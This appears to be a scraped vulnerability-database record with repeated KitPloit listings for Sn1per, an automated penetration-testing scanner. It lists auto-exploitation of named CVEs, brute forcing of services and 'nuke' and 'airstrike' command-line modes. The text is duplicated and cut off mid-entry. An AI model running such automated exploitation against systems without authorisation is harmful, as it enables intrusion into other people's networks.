\n\n\n[![](https://3.bp.blogspot.com/-ElnqBSUrveU/WzvPZw0s4FI/AAAAAAAALto/xOUximDoNkMni5XhkzmMDnI9caTUWdo3gCLcBGAs/s640/Sn1per_9.png)](<https://3.bp.blogspot.com/-ElnqBSUrveU/WzvPZw0s4FI/AAAAAAAALto/xOUximDoNkMni5XhkzmMDnI9caTUWdo3gCLcBGAs/s1600/Sn1per_9.png>)\n\n \n**Searchable and sortable DNS, IP and open port database** \n \n\n\n[![](https://3.bp.blogspot.com/-U5MHC2iK1ag/WzvPfoIz6nI/AAAAAAAALts/m-GOz4roSSEhYjSeZgakgEJxo4-xCSlIQCLcBGAs/s640/Sn1per_10.png)](<https://3.bp.blogspot.com/-U5MHC2iK1ag/WzvPfoIz6nI/AAAAAAAALts/m-GOz4roSSEhYjSeZgakgEJxo4-xCSlIQCLcBGAs/s1600/Sn1per_10.png>)\n\n \n \n**Categorized host reports** \n \n\n\n[![](https://4.bp.blogspot.com/-b82btbNLylE/WzvPj6ds37I/AAAAAAAALt0/KgxDw1g6rCgCuDamA3v_GBIHTAs-No2DwCLcBGAs/s1600/Sn1per_11.png)](<https://4.bp.blogspot.com/-b82btbNLylE/WzvPj6ds37I/AAAAAAAALt0/KgxDw1g6rCgCuDamA3v_GBIHTAs-No2DwCLcBGAs/s1600/Sn1per_11.png>)\n\n \n \n**Quick links to online recon tools and Google hacking queries** \n \n\n\n[![](https://4.bp.blogspot.com/-eB0eLBg1-Xs/WzvPsgtbmGI/AAAAAAAALt8/FSkOuUJlOb0YXRetzL4TYbuLeOmRaQtOwCLcBGAs/s640/Sn1per_12.png)](<https://4.bp.blogspot.com/-eB0eLBg1-Xs/WzvPsgtbmGI/AAAAAAAALt8/FSkOuUJlOb0YXRetzL4TYbuLeOmRaQtOwCLcBGAs/s1600/Sn1per_12.png>)\n\n \n**Personalized notes field for each host** \n \n\n\n[![](https://1.bp.blogspot.com/-4SndSkZX88U/WzvPxUain4I/AAAAAAAALuE/x7ZucGGcTPIOGerWwlbWvXrFVosouiOhwCLcBGAs/s640/Sn1per_13.png)](<https://1.bp.blogspot.com/-4SndSkZX88U/WzvPxUain4I/AAAAAAAALuE/x7ZucGGcTPIOGerWwlbWvXrFVosouiOhwCLcBGAs/s1600/Sn1per_13.png>)\n\n \n \n**DEMO VIDEO:** \n[![Demo](https://camo.githubusercontent.com/7ce47e489c830c05433d8352244c219380f67648/68747470733a2f2f61736369696e656d612e6f72672f612f4944636b453438424e5357513854563879456a4a6a6a4d4e6d2e706e67)](<https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm>) \n \n**SN1PER COMMUNITY FEATURES:** \n\n\n * * Automatically collects basic recon (ie. whois, ping, DNS, etc.)\n * Automatically launches Google hacking queries against a target domain\n * Automatically enumerates open ports via NMap port scanning\n * Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers\n * Automatically checks for sub-domain hijacking\n * Automatically runs targeted NMap scripts against open ports\n * Automatically runs targeted Metasploit scan and exploit modules\n * Automatically scans all web applications for common vulnerabilities\n * Automatically brute forces ALL open services\n * Automatically test for anonymous FTP access\n * Automatically runs WPScan, Arachni and Nikto for all web services\n * Automatically enumerates NFS shares\n * Automatically test for anonymous LDAP access\n * Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities\n * Automatically enumerate SNMP community strings, services and users\n * Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067\n * Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers\n * Automatically tests for open X11 servers\n * Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds\n * Performs high level enumeration of multiple hosts and subnets\n * Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting\n * Automatically gathers screenshots of all web sites\n * Create individual workspaces to store all scan output\n \n**AUTO-PWN:** \n\n\n * Drupal Drupalgedon2 RCE CVE-2018-7600\n * GPON Router RCE CVE-2018-10561\n * [Apache Struts](<https://www.kitploit.com/search/label/Apache%20Struts>) 2 RCE CVE-2017-5638\n * Apache Struts 2 RCE CVE-2017-9805\n * Apache Jakarta RCE CVE-2017-5638\n * Shellshock GNU Bash RCE CVE-2014-6271\n * HeartBleed OpenSSL Detection CVE-2014-0160\n * Default Apache Tomcat Creds CVE-2009-3843\n * MS Windows SMB RCE MS08-067\n * Webmin File Disclosure CVE-2006-3392\n * [Anonymous FTP](<https://www.kitploit.com/search/label/Anonymous%20FTP>) Access\n * PHPMyAdmin Backdoor RCE\n * PHPMyAdmin Auth Bypass\n * JBoss Java De-Serialization RCE's\n \n**KALI LINUX INSTALL:** \n\n \n \n ./install.sh\n\n \n**DOCKER INSTALL:** \nCredits: @menzow \nDocker Install: <https://github.com/menzow/sn1per-docker> \nDocker Build: <https://hub.docker.com/r/menzo/sn1per-docker/builds/bqez3h7hwfun4odgd2axvn4/> \nExample usage: \n\n \n \n $ docker pull menzo/sn1per-docker\n $ docker run --rm -ti menzo/sn1per-docker sniper menzo.io\n\n \n**USAGE:** \n\n \n \n [*] NORMAL MODE\n sniper -t|--target <TARGET>\n \n [*] NORMAL MODE + OSINT + RECON\n sniper -t|--target <TARGET> -o|--osint -re|--recon\n \n [*] STEALTH MODE + OSINT + RECON\n sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon\n \n [*] DISCOVER MODE\n sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>\n \n [*] SCAN ONLY SPECIFIC PORT\n sniper -t|--target <TARGET> -m port -p|--port <portnum>\n \n [*] FULLPORTONLY SCAN MODE\n sniper -t|--target <TARGET> -fp|--fullportonly\n \n [*] PORT SCAN MODE\n sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>\n \n [*] WEB MODE - PORT 80 + 443 ONLY!\n sniper -t|--target <TARGET> -m|--mode web\n \n [*] HTTP WEB PORT MODE\n sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>\n \n [*] HTTPS WEB PORT MODE\n sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>\n \n [*] ENABLE BRUTEFORCE\n sniper -t|--target <TARGET> -b|--bruteforce\n \n [*] AIRSTRIKE MODE\n sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike\n \n [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED\n sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>\n \n [*] ENABLE LOOT IMPORTING INTO METASPLOIT\n sniper -t|--target <TARGET>\n \n [*] LOOT REIMPORT FUNCTION\n sniper -w <WORKSPACE_ALIAS> --reimport\n \n [*] UPDATE SNIPER\n sniper -u|--update\n\n \n**MODES:** \n\n\n * **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance.\n * **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking.\n * **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.\n * **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.\n * **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.\n * **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.\n * **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML.\n * **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.\n * **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port.\n * **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port.\n * **UPDATE:** Checks for updates and upgrades all components used by sniper.\n * **REIMPORT:** Reimport all workspace files into Metasploit and reproduce all reports.\n * **RELOAD:** Reload the master workspace report.\n \n**SAMPLE REPORT:** \n<https://gist.github.com/1N3/8214ec2da2c91691bcbc> \n \n \n\n\n**[Download Sn1per v5.0](<https://github.com/1N3/Sn1per>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-11-24T12:43:00", "type": "kitploit", "title": "Sn1per v6.0 - Automated Pentest Framework For Offensive Security Experts", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-3392", "CVE-2009-3843", "CVE-2014-0160", "CVE-2014-6271", "CVE-2017-5638", "CVE-2017-9805", "CVE-2018-10561", "CVE-2018-7600"], "modified": "2018-11-24T12:43:00", "id": "KITPLOIT:8672599587089685905", "href": "http://www.kitploit.com/2018/11/sn1per-v60-automated-pentest-framework.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-07T12:04:42", "description": "[![](https://4.bp.blogspot.com/-P3_9VWnPhLw/WzvPRBF6q3I/AAAAAAAALtk/nE4XtcDGmXELo4KLTzEDoCiNMEgF0VJAACLcBGAs/s640/Sn1per_1_Sn1per.jpeg)](<https://4.bp.blogspot.com/-P3_9VWnPhLw/WzvPRBF6q3I/AAAAAAAALtk/nE4XtcDGmXELo4KLTzEDoCiNMEgF0VJAACLcBGAs/s1600/Sn1per_1_Sn1per.jpeg>)\n\n \n\n\nSn1per Community Edition is an [automated scanner](<https://www.kitploit.com/search/label/Automated%20scanner>) that can be used during a [penetration test](<https://www.kitploit.com/search/label/Penetration%20Test>) to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes.\n\n \n**SN1PER PROFESSIONAL FEATURES:** \n \n**Professional reporting interface** \n \n\n\n[![](https://3.bp.blogspot.com/-CUaHGxKs7i8/WzvPDvnvnUI/AAAAAAAALtg/6NzvIUFvET0YO8X9SXkxbSXD51R9dgn_QCLcBGAs/s640/Sn1per_8.png)](<https://3.bp.blogspot.com/-CUaHGxKs7i8/WzvPDvnvnUI/AAAAAAAALtg/6NzvIUFvET0YO8X9SXkxbSXD51R9dgn_QCLcBGAs/s1600/Sn1per_8.png>)\n\n \n**Slideshow for all gathered screenshots** \n \n\n\n[![](https://3.bp.blogspot.com/-ElnqBSUrveU/WzvPZw0s4FI/AAAAAAAALto/xOUximDoNkMni5XhkzmMDnI9caTUWdo3gCLcBGAs/s640/Sn1per_9.png)](<https://3.bp.blogspot.com/-ElnqBSUrveU/WzvPZw0s4FI/AAAAAAAALto/xOUximDoNkMni5XhkzmMDnI9caTUWdo3gCLcBGAs/s1600/Sn1per_9.png>)\n\n \n**Searchable and sortable DNS, IP and open port database** \n \n\n\n[![](https://3.bp.blogspot.com/-U5MHC2iK1ag/WzvPfoIz6nI/AAAAAAAALts/m-GOz4roSSEhYjSeZgakgEJxo4-xCSlIQCLcBGAs/s640/Sn1per_10.png)](<https://3.bp.blogspot.com/-U5MHC2iK1ag/WzvPfoIz6nI/AAAAAAAALts/m-GOz4roSSEhYjSeZgakgEJxo4-xCSlIQCLcBGAs/s1600/Sn1per_10.png>)\n\n \n \n**Categorized host reports** \n \n\n\n[![](https://4.bp.blogspot.com/-b82btbNLylE/WzvPj6ds37I/AAAAAAAALt0/KgxDw1g6rCgCuDamA3v_GBIHTAs-No2DwCLcBGAs/s1600/Sn1per_11.png)](<https://4.bp.blogspot.com/-b82btbNLylE/WzvPj6ds37I/AAAAAAAALt0/KgxDw1g6rCgCuDamA3v_GBIHTAs-No2DwCLcBGAs/s1600/Sn1per_11.png>)\n\n \n \n**Quick links to online recon tools and Google hacking queries** \n \n\n\n[![](https://4.bp.blogspot.com/-eB0eLBg1-Xs/WzvPsgtbmGI/AAAAAAAALt8/FSkOuUJlOb0YXRetzL4TYbuLeOmRaQtOwCLcBGAs/s640/Sn1per_12.png)](<https://4.bp.blogspot.com/-eB0eLBg1-Xs/WzvPsgtbmGI/AAAAAAAALt8/FSkOuUJlOb0YXRetzL4TYbuLeOmRaQtOwCLcBGAs/s1600/Sn1per_12.png>)\n\n \n**Personalized notes field for each host** \n \n\n\n[![](https://1.bp.blogspot.com/-4SndSkZX88U/WzvPxUain4I/AAAAAAAALuE/x7ZucGGcTPIOGerWwlbWvXrFVosouiOhwCLcBGAs/s640/Sn1per_13.png)](<https://1.bp.blogspot.com/-4SndSkZX88U/WzvPxUain4I/AAAAAAAALuE/x7ZucGGcTPIOGerWwlbWvXrFVosouiOhwCLcBGAs/s1600/Sn1per_13.png>)\n\n \n \n**DEMO VIDEO:** \n[![Demo](https://camo.githubusercontent.com/7ce47e489c830c05433d8352244c219380f67648/68747470733a2f2f61736369696e656d612e6f72672f612f4944636b453438424e5357513854563879456a4a6a6a4d4e6d2e706e67)](<https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm>) \n \n**SN1PER COMMUNITY FEATURES:** \n\n\n * * Automatically collects basic recon (ie. whois, ping, DNS, etc.)\n * Automatically launches Google hacking queries against a target domain\n * Automatically enumerates open ports via NMap port scanning\n * Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers\n * Automatically checks for sub-domain hijacking\n * Automatically runs targeted NMap scripts against open ports\n * Automatically runs targeted Metasploit scan and exploit modules\n * Automatically scans all web applications for common vulnerabilities\n * Automatically brute forces ALL open services\n * Automatically test for anonymous FTP access\n * Automatically runs WPScan, Arachni and Nikto for all web services\n * Automatically enumerates NFS shares\n * Automatically test for anonymous LDAP access\n * Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities\n * Automatically enumerate SNMP community strings, services and users\n * Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067\n * Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers\n * Automatically tests for open X11 servers\n * Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds\n * Performs high level enumeration of multiple hosts and subnets\n * Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting\n * Automatically gathers screenshots of all web sites\n * Create individual workspaces to store all scan output\n \n**AUTO-PWN:** \n\n\n * Drupal Drupalgedon2 RCE CVE-2018-7600\n * GPON Router RCE CVE-2018-10561\n * [Apache Struts](<https://www.kitploit.com/search/label/Apache%20Struts>) 2 RCE CVE-2017-5638\n * Apache Struts 2 RCE CVE-2017-9805\n * Apache Jakarta RCE CVE-2017-5638\n * Shellshock GNU Bash RCE CVE-2014-6271\n * HeartBleed OpenSSL Detection CVE-2014-0160\n * Default Apache Tomcat Creds CVE-2009-3843\n * MS Windows SMB RCE MS08-067\n * Webmin File Disclosure CVE-2006-3392\n * [Anonymous FTP](<https://www.kitploit.com/search/label/Anonymous%20FTP>) Access\n * PHPMyAdmin Backdoor RCE\n * PHPMyAdmin Auth Bypass\n * JBoss Java De-Serialization RCE's\n \n**KALI LINUX INSTALL:** \n\n \n \n ./install.sh\n\n \n**DOCKER INSTALL:** \nCredits: @menzow \nDocker Install: <https://github.com/menzow/sn1per-docker> \nDocker Build: <https://hub.docker.com/r/menzo/sn1per-docker/builds/bqez3h7hwfun4odgd2axvn4/> \nExample usage: \n\n \n \n $ docker pull menzo/sn1per-docker\n $ docker run --rm -ti menzo/sn1per-docker sniper menzo.io\n\n \n**USAGE:** \n\n \n \n [*] NORMAL MODE\n sniper -t|--target <TARGET>\n \n [*] NORMAL MODE + OSINT + RECON\n sniper -t|--target <TARGET> -o|--osint -re|--recon\n \n [*] STEALTH MODE + OSINT + RECON\n sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon\n \n [*] DISCOVER MODE\n sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>\n \n [*] SCAN ONLY SPECIFIC PORT\n sniper -t|--target <TARGET> -m port -p|--port <portnum>\n \n [*] FULLPORTONLY SCAN MODE\n sniper -t|--target <TARGET> -fp|--fullportonly\n \n [*] PORT SCAN MODE\n sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>\n \n [*] WEB MODE - PORT 80 + 443 ONLY!\n sniper -t|--target <TARGET> -m|--mode web\n \n [*] HTTP WEB PORT MODE\n sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>\n \n [*] HTTPS WEB PORT MODE\n sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>\n \n [*] ENABLE BRUTEFORCE\n sniper -t|--target <TARGET> -b|--bruteforce\n \n [*] AIRSTRIKE MODE\n sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike\n \n [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED\n sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>\n \n [*] ENABLE LOOT IMPORTING INTO METASPLOIT\n sniper -t|--target <TARGET>\n \n [*] LOOT REIMPORT FUNCTION\n sniper -w <WORKSPACE_ALIAS> --reimport\n \n [*] UPDATE SNIPER\n sniper -u|--update\n\n \n**MODES:** \n\n\n * **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance.\n * **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking.\n * **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.\n * **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.\n * **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.\n * **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.\n * **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML.\n * **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.\n * **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port.\n * **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port.\n * **UPDATE:** Checks for updates and upgrades all components used by sniper.\n * **REIMPORT:** Reimport all workspace files into Metasploit and reproduce all reports.\n * **RELOAD:** Reload the master workspace report.\n \n**SAMPLE REPORT:** \n<https://gist.github.com/1N3/8214ec2da2c91691bcbc> \n \n \n\n\n**[Download Sn1per v5.0](<https://github.com/1N3/Sn1per>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-07-05T13:45:00", "type": "kitploit", "title": "Sn1per v5.0 - Automated Pentest Recon Scanner", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-3392", "CVE-2009-3843", "CVE-2014-0160", "CVE-2014-6271", "CVE-2017-5638", "CVE-2017-9805", "CVE-2018-10561", "CVE-2018-7600"], "modified": "2018-07-05T13:45:01", "id": "KITPLOIT:7835941952769002973", "href": "http://www.kitploit.com/2018/07/sn1per-v50-automated-pentest-recon.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-07T12:03:55", "description": "[![](https://1.bp.blogspot.com/-Poffj1hNPBk/XNXfkZuyGfI/AAAAAAAAO0U/k4nQgdLXOoEZMOGlGb3wgnx8HgQzEtacgCLcBGAs/s640/Sn1per_1_Sn1per.jpeg)](<https://1.bp.blogspot.com/-Poffj1hNPBk/XNXfkZuyGfI/AAAAAAAAO0U/k4nQgdLXOoEZMOGlGb3wgnx8HgQzEtacgCLcBGAs/s1600/Sn1per_1_Sn1per.jpeg>)\n\n \n\n\nSn1per Community Edition is an [automated scanner](<https://www.kitploit.com/search/label/Automated%20scanner> \"automated scanner\" ) that can be used during a [penetration test](<https://www.kitploit.com/search/label/Penetration%20Test> \"penetration test\" ) to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes. For more information regarding Sn1per Professional, go to [https://xerosecurity.com](<https://xerosecurity.com/> \"https://xerosecurity.com\" ).\n\n \n**SN1PER PROFESSIONAL FEATURES:** \n \n**Professional reporting interface** \n \n\n\n[![](https://2.bp.blogspot.com/-HnwS8O0KEik/XNXfrGJWPeI/AAAAAAAAO0Y/94Hl4CC3M_kytYKkKldzXNviz4ff92TVACLcBGAs/s640/Sn1per_8.png)](<https://2.bp.blogspot.com/-HnwS8O0KEik/XNXfrGJWPeI/AAAAAAAAO0Y/94Hl4CC3M_kytYKkKldzXNviz4ff92TVACLcBGAs/s1600/Sn1per_8.png>)\n\n \n**Slideshow for all gathered screenshots** \n \n\n\n[![](https://2.bp.blogspot.com/-coOpsZX0XMM/XNXfuVNicUI/AAAAAAAAO0c/Wd2EQSAcI4Uti3bkaa1kxqajpStfjTK0ACLcBGAs/s640/Sn1per_9.png)](<https://2.bp.blogspot.com/-coOpsZX0XMM/XNXfuVNicUI/AAAAAAAAO0c/Wd2EQSAcI4Uti3bkaa1kxqajpStfjTK0ACLcBGAs/s1600/Sn1per_9.png>)\n\n \n**Searchable and sortable DNS, IP and open port database** \n \n\n\n[![](https://4.bp.blogspot.com/-bfzb6vLbCks/XNXfy5vfkTI/AAAAAAAAO0g/9aO7_9YKrqMyWK3PehtfItlm4DZ6KWR4gCLcBGAs/s640/Sn1per_10.png)](<https://4.bp.blogspot.com/-bfzb6vLbCks/XNXfy5vfkTI/AAAAAAAAO0g/9aO7_9YKrqMyWK3PehtfItlm4DZ6KWR4gCLcBGAs/s1600/Sn1per_10.png>)\n\n \n**Detailed host reports** \n \n\n\n[![](https://4.bp.blogspot.com/-JbxR5Z-2O_4/XNXf2YbT_DI/AAAAAAAAO0o/w8Hin6Cbf1Ue4QbVW70T2-r1Rj82wDsSQCLcBGAs/s640/Sn1per_11.png)](<https://4.bp.blogspot.com/-JbxR5Z-2O_4/XNXf2YbT_DI/AAAAAAAAO0o/w8Hin6Cbf1Ue4QbVW70T2-r1Rj82wDsSQCLcBGAs/s1600/Sn1per_11.png>)\n\n \n**NMap HTML host reports** \n \n\n\n[![](https://2.bp.blogspot.com/-TYr4tFOy7Y4/XNXf7dXeSII/AAAAAAAAO0w/0YMKst5KHGoygojHG2r6tJxqkg2a-w1YQCLcBGAs/s640/Sn1per_12.png)](<https://2.bp.blogspot.com/-TYr4tFOy7Y4/XNXf7dXeSII/AAAAAAAAO0w/0YMKst5KHGoygojHG2r6tJxqkg2a-w1YQCLcBGAs/s1600/Sn1per_12.png>)\n\n \n**Quick links to online recon tools and Google hacking queries** \n \n\n\n[![](https://1.bp.blogspot.com/-FNe1YF5mg68/XNXgAPQOAEI/AAAAAAAAO00/5uuuQo2KqRgwpTE11Z-U6p_XGetjCf9vgCLcBGAs/s640/Sn1per_13.png)](<https://1.bp.blogspot.com/-FNe1YF5mg68/XNXgAPQOAEI/AAAAAAAAO00/5uuuQo2KqRgwpTE11Z-U6p_XGetjCf9vgCLcBGAs/s1600/Sn1per_13.png>)\n\n \n**Takeovers and Email Security** \n \n\n\n[![](https://2.bp.blogspot.com/-FNah2OwM_nU/XNXgEeJZG9I/AAAAAAAAO08/A7lu1554nJ0GpEOj7AtdZ_emSoyq5lBxQCLcBGAs/s640/Sn1per_14.png)](<https://2.bp.blogspot.com/-FNah2OwM_nU/XNXgEeJZG9I/AAAAAAAAO08/A7lu1554nJ0GpEOj7AtdZ_emSoyq5lBxQCLcBGAs/s1600/Sn1per_14.png>)\n\n \n**HTML5 Notepad** \n \n\n\n[![](https://2.bp.blogspot.com/-DHOnECOz-T0/XNXgH_QX4JI/AAAAAAAAO1E/s0bFVC-Uf_87tBFY2AJwiJyHgKJ8VgKXQCLcBGAs/s640/Sn1per_15.png)](<https://2.bp.blogspot.com/-DHOnECOz-T0/XNXgH_QX4JI/AAAAAAAAO1E/s0bFVC-Uf_87tBFY2AJwiJyHgKJ8VgKXQCLcBGAs/s1600/Sn1per_15.png>)\n\n \n**ORDER SN1PER PROFESSIONAL:** \nTo obtain a Sn1per Professional license, go to [https://xerosecurity.com](<https://xerosecurity.com/> \"https://xerosecurity.com\" ). \n \n**DEMO VIDEO:** \n \n \n\n\n[![](https://3.bp.blogspot.com/-FRx9lYOZvxk/XNXulWtQYAI/AAAAAAAAO1Y/gsksdwJsb0coIyD2LUZ0QwE1HaDQVsP2wCLcBGAs/s640/Sn1per_16.png)](<https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm>)\n\n \n \n**SN1PER COMMUNITY FEATURES:** \n\n\n * Automatically collects basic recon (ie. whois, ping, DNS, etc.)\n * Automatically launches Google hacking queries against a target domain\n * Automatically enumerates open ports via NMap port scanning\n * Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers\n * Automatically checks for sub-domain hijacking\n * Automatically runs targeted NMap scripts against open ports\n * Automatically runs targeted Metasploit scan and exploit modules\n * Automatically scans all web applications for common vulnerabilities\n * Automatically brute forces ALL open services\n * Automatically test for anonymous FTP access\n * Automatically runs WPScan, Arachni and Nikto for all web services\n * Automatically enumerates NFS shares\n * Automatically test for anonymous LDAP access\n * Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities\n * Automatically enumerate SNMP community strings, services and users\n * Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067\n * Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers\n * Automatically tests for open X11 servers\n * Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds\n * Performs high level enumeration of multiple hosts and subnets\n * Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting\n * Automatically gathers screenshots of all web sites\n * Create individual workspaces to store all scan output\n \n**EXPLOITS:** \n\n\n * Drupal RESTful Web Services unserialize() SA-CORE-2019-003\n * Apache Struts: S2-057 (CVE-2018-11776): Security updates available for Apache Struts\n * Drupal: CVE-2018-7600: [Remote Code Execution](<https://www.kitploit.com/search/label/Remote%20Code%20Execution> \"Remote Code Execution\" ) \\- SA-CORE-2018-002\n * GPON Routers - Authentication Bypass / [Command Injection](<https://www.kitploit.com/search/label/Command%20Injection> \"Command Injection\" ) CVE-2018-10561\n * MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption\n * Apache Tomcat: Remote Code Execution (CVE-2017-12617)\n * Oracle WebLogic wls-wsat Component Deserialization Remote Code Execution CVE-2017-10271\n * Apache Struts Content-Type arbitrary command execution (CVE-2017-5638)\n * Apache Struts 2 Framework Checks - REST plugin with XStream handler (CVE-2017-9805)\n * Apache Struts Content-Type arbitrary command execution (CVE-2017-5638)\n * Microsoft IIS WebDav ScStoragePathFromUrl Overflow CVE-2017-7269\n * ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability CVE-2015-8249\n * Shellshock Bash Shell remote code execution CVE-2014-6271\n * HeartBleed OpenSSL Detection CVE-2014-0160\n * MS12-020: Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387)\n * Tomcat Application Manager Default Ovwebusr Password Vulnerability CVE-2009-3843\n * MS08-067 Microsoft Server Service Relative Path Stack Corruption\n * Webmin File Disclosure CVE-2006-3392\n * VsFTPd 2.3.4 Backdoor\n * ProFTPd 1.3.3C Backdoor\n * MS03-026 Microsoft RPC DCOM Interface Overflow\n * DistCC Daemon Command Execution\n * JBoss Java De-Serialization\n * HTTP Writable Path PUT/DELETE File Access\n * Apache Tomcat User Enumeration\n * Tomcat Application Manager Login Bruteforce\n * Jenkins-CI Enumeration\n * HTTP WebDAV Scanner\n * Android Insecure ADB\n * Anonymous FTP Access\n * PHPMyAdmin Backdoor\n * PHPMyAdmin Auth Bypass\n * OpenSSH User Enumeration\n * LibSSH Auth Bypass\n * SMTP User Enumeration\n * Public NFS Mounts\n \n**KALI LINUX INSTALL:** \n\n \n \n bash install.sh\n\n \n**UBUNTU/DEBIAN/PARROT INSTALL:** \n\n \n 